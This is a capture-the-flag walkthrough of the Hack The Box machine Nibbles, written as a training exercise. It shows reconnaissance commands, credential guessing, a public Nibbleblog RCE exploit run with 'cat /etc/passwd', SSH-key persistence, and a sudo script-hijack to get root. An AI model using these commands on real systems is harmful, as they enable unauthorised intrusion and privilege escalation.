Nibbles Walkthrough

Machine: Nibbles#

Date: 07-09-2025 Platform: HTB Status: [Rooted]

🔍 Recon#

Nmap:#

nmap -sC -sV -oN scans/nmap.txt IP

Results:#

• Port 22 → OpenSSH
• Port 80 → Apache

Notes:#

• Web page with just a Hello World on port 80
• Looking at the code of the page it mentions a directory named nibbleblog

📂 Enumeration#

Dirb / Gobuster:#

gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -s 200,301,302 -b ""

• /README (Status: 200) [Size: 4628]
• /admin (Status: 301) [Size: 321] [–> http://10.10.10.75/nibbleblog/admin/]
• /admin.php (Status: 200) [Size: 1401]
• /content (Status: 301) [Size: 323] [–> http://10.10.10.75/nibbleblog/content/]
• /index.php (Status: 200) [Size: 2987]
• /languages (Status: 301) [Size: 325] [–> http://10.10.10.75/nibbleblog/languages/]
• /plugins (Status: 301) [Size: 323] [–> http://10.10.10.75/nibbleblog/plugins/]
• /themes (Status: 301) [Size: 322] [–> http://10.10.10.75/nibbleblog/themes/]

There is a login page on admin.php

Inside /nibbleblog/content we can access to a directory, in which we can go to private/ and find a file called users.xml, in which is mentions a username “admin”.

💥 Exploitation#

CVE SEARCH:#

• It seems like nibbleblog technology has a public CVE for the version 4.0.3, by the README found on /nibbleblog/README it seems the version used by the objective.
• https://github.com/hadrian3689/nibbleblog_4.0.3
• BUT to use this exploit we need valid credentials to login on admin.php. We already have the username admin, but we have to guess the password. Let’s try the most common 10 passwords.
  • admin:admin ❌
  • admin:nibble ❌
  • admin:password ❌
  • admin:[REDACTED] ✅
• We found the credentials, so now we can execute the CVE

python3 nibbleblog_4.0.3.py -t http://10.10.10.75/nibbleblog/admin.php -u admin -p [REDACTED] -rce "cat /etc/passwd"

It seems like now we have a RCE to the machine as the user nibbler

Result: access as user nibbler#

⚡ Privilege Escalation#

As the received shell goes broken all the time, we created a ssh key and then put it on authorized_keys file to login without the password:

ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa

Then we copy the id_rsa to our attacker machine After that, we copy the /.ssh/id_rsa.pub content to /.ssh/authorized_keys:

echo "tu_clave_publica" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

And now from our attacker machine we can log in through ssh wit the copied id_rsa:

ssh -i ./id_rsa [email protected]

Now with the stabilize shell, we will try to escalate to root

Enumeration:#

• sudo -l → user nibbler can execute a .sh as sudo

Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

Scalation:#

The file monitor.sh doesn’t even exist (there is a personal.zip that we can unzip to see the file, but it’s not there at the beginning), so we can create the path to the script and put there whatever we want, so we can create the file /home/nibbler/personal/stuff/monitor.sh and add this line:

/bin/bash

And execute it with

chmod +x /home/nibbler/personal/stuff/monitor.sh
sudo /home/nibbler/personal/stuff/monitor.sh

Succesful scalated:#

We can now read the root flag

cat /root/root.txt

🎯 Loot / Flags#

• user.txt: [FLAG REDACTED]
• root.txt: [FLAG REDACTED]

📝 Lessons Learned#

• Stabilize shells with certificates can be very useful
• Check all files on the web page to find usernames/passwords

#Linux #HTB #Enumeration #Web #Gobuster #CVE #RCE #SSH #PrivilegeEscalation #Sudo #PostExploitation

Adapted from MountainFlayer/htb-writeups under MIT.